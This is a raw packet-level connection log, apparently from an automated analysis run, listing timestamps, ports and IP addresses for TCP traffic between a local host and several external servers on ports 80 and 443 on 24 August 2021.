Aug 24, 2021 14:01:40.457952976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457957029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457973003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.457983017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.457993031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458009005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458022118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458029032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458045959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458065033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458069086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458089113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458092928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458106995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458123922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458142042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458159924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458161116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458179951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458195925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458214045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458218098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458237886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458241940 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458256960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458272934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458290100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458304882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458317041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458334923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458350897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458368063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458372116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458393097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458404064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458414078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458434105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458434105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458452940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458468914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458483934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458503008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458503962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458520889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458542109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458544016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458560944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458576918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458595037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458600998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458612919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458630085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458647013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458648920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458667040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458678961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458688974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458705902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458719015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.458729029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.458770037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.459105015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459132910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459152937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459173918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459182024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.459193945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459213972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459228039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.459235907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.459255934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.462497950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480739117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480761051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480781078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480802059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480808973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480822086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480843067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480844021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480860949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480876923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480897903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480897903 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480916977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480938911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480940104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480959892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480964899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480978012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.480992079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.480998993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481015921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481035948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481035948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481054068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481074095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481074095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481096029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481100082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481116056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481132030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481148958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481158972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481169939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481185913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481198072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481205940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481223106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481235027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481245041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481261015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481266975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481283903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481292963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481306076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481326103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481348038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481369972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481389999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481410027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481414080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481415987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481435061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481436968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481452942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481472969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481472969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481491089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481511116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481511116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481533051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481554031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481561899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481575966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481594086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481597900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481615067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481622934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481637001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481654882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481664896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481676102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481694937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481708050 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.481714964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.481745005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.516745090 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.516882896 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:40.542912960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.625452042 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:40.739882946 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.739913940 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.739932060 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.739948034 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.739959955 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.740004063 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:40.740046024 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:40.740693092 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:40.740745068 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.091867924 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.207004070 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.207077980 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.238085032 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.331109047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:41.331145048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:41.353178978 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353204012 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353216887 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353233099 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353244066 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353256941 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353267908 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353280067 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353291035 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353302956 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.353617907 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.353635073 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.353636980 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.356498957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:41.380675077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:41.457601070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:41.457665920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:41.468529940 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.468611956 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.481519938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:41.488039017 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.488085032 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.505036116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:41.540659904 CEST	49727	80	192.168.2.3	91.228.218.70
Aug 24, 2021 14:01:41.605504990 CEST	443	49726	74.114.154.18	192.168.2.3
Aug 24, 2021 14:01:41.605587959 CEST	49726	443	192.168.2.3	74.114.154.18
Aug 24, 2021 14:01:41.636754990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:42.353665113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.376117945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.376238108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.379235983 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.399944067 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.495706081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.495806932 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.523513079 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.543764114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544044971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544079065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544102907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544127941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544137955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544161081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544169903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544188023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544188976 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544212103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544217110 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544235945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544235945 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544253111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544259071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544275045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544281960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.544305086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.544323921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564498901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564534903 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564558983 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564583063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564585924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564606905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564610004 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564627886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564630985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564656019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564673901 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564714909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564755917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564768076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564811945 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564830065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.564879894 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.564987898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565037012 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565315008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565372944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565376043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565429926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565474033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565501928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565527916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565531969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565545082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565557957 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565565109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565587044 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565607071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565619946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565624952 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565628052 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565630913 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.565663099 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.565692902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585146904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585207939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585246086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585284948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585333109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585369110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585401058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585469961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585474968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585475922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585743904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585794926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585807085 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585832119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585843086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585870981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585885048 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585908890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585926056 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585956097 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.585957050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.585998058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586005926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586035967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586045027 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586074114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586088896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586112022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586116076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586148977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586158991 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586188078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586194038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586225033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586231947 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586266994 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586272955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586314917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586317062 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586352110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586365938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586390018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586395025 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586429119 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586436033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586464882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586476088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586503029 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586528063 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586555958 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586596012 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586638927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586643934 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586675882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586689949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586714029 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586725950 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586751938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586766005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586787939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586791039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586827993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586832047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586864948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586879015 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586908102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586911917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586952925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.586956978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.586988926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.587002039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.587028027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:42.587033987 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:42.587065935 CEST	80	49728	188.34.200.103	192.168.2.3
